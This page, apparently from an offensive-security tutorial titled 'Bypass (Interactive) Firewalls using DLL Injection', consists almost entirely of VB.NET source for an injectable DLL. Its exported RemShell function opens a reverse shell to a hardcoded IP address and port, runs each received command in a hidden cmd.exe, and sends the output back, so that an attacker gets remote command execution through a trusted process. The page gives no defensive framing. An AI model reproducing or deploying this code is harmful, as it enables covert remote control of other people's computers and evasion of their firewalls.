Bypass (Interactive) Firewalls using DLL Injection
Imports System.Runtime.InteropServices
Imports RGiesecke.DllExport
Imports System.Net.Sockets
Imports System.Text
Imports System.Threading
Public Module Mod11
Dim ShClient As New Net.Sockets.TcpClient
Dim DataStream As NetworkStream
<DllExport("RemShell")>
Public Sub RemShell()
Try
ShClient.Connect("192.168.71.129", 9990)
Dim RecvThr As New Thread(AddressOf ShRecv)
RecvThr.Start()
Catch ex As Exception : End Try
End Sub
Sub SendData(ByVal msg As String)
Dim SendBytes As Byte()
SendBytes = Encoding.ASCII.GetBytes(msg)
DataStream = ShClient.GetStream
DataStream.Write(SendBytes, 0, SendBytes.Length)
End Sub
Sub ShRecv()
Do
Dim ReceivedText As String = Nothing
Dim ReceiveBytes(1023) As Byte
Dim BytesReceived As Integer
Do
DataStream = ShClient.GetStream
BytesReceived = DataStream.Read(ReceiveBytes, 0, ReceiveBytes.Length)
If Not Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived).EndsWith(vbLf) Then
ReceivedText = ReceivedText & Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived)
Else
Dim temp As String = Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived)
Dim Array() As String = Split(temp, vbLf)
ReceivedText = ReceivedText & Array(0)
CMDOutput(ReceivedText)
Exit Do
End If
Loop
Loop
End Sub
Sub CMDOutput(ByVal cmd As String)
Dim p As New Process()
p.StartInfo.FileName = "cmd.exe"
p.StartInfo.Arguments = "/c " & cmd
p.StartInfo.RedirectStandardError = True
p.StartInfo.RedirectStandardOutput = True
p.EnableRaisingEvents = True
p.StartInfo.CreateNoWindow = True
p.StartInfo.UseShellExecute = False
AddHandler p.ErrorDataReceived, AddressOf proc_OutputDataReceived
AddHandler p.OutputDataReceived, AddressOf proc_OutputDataReceived
Try
p.Start()
p.BeginErrorReadLine()
p.BeginOutputReadLine()
p.WaitForExit()
Catch ex As Exception
SendData("Error: " & ex.Message)
End Try
End Sub
Public Sub proc_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
SendData(e.Data & vbLf)
End Sub
End Module



Last updated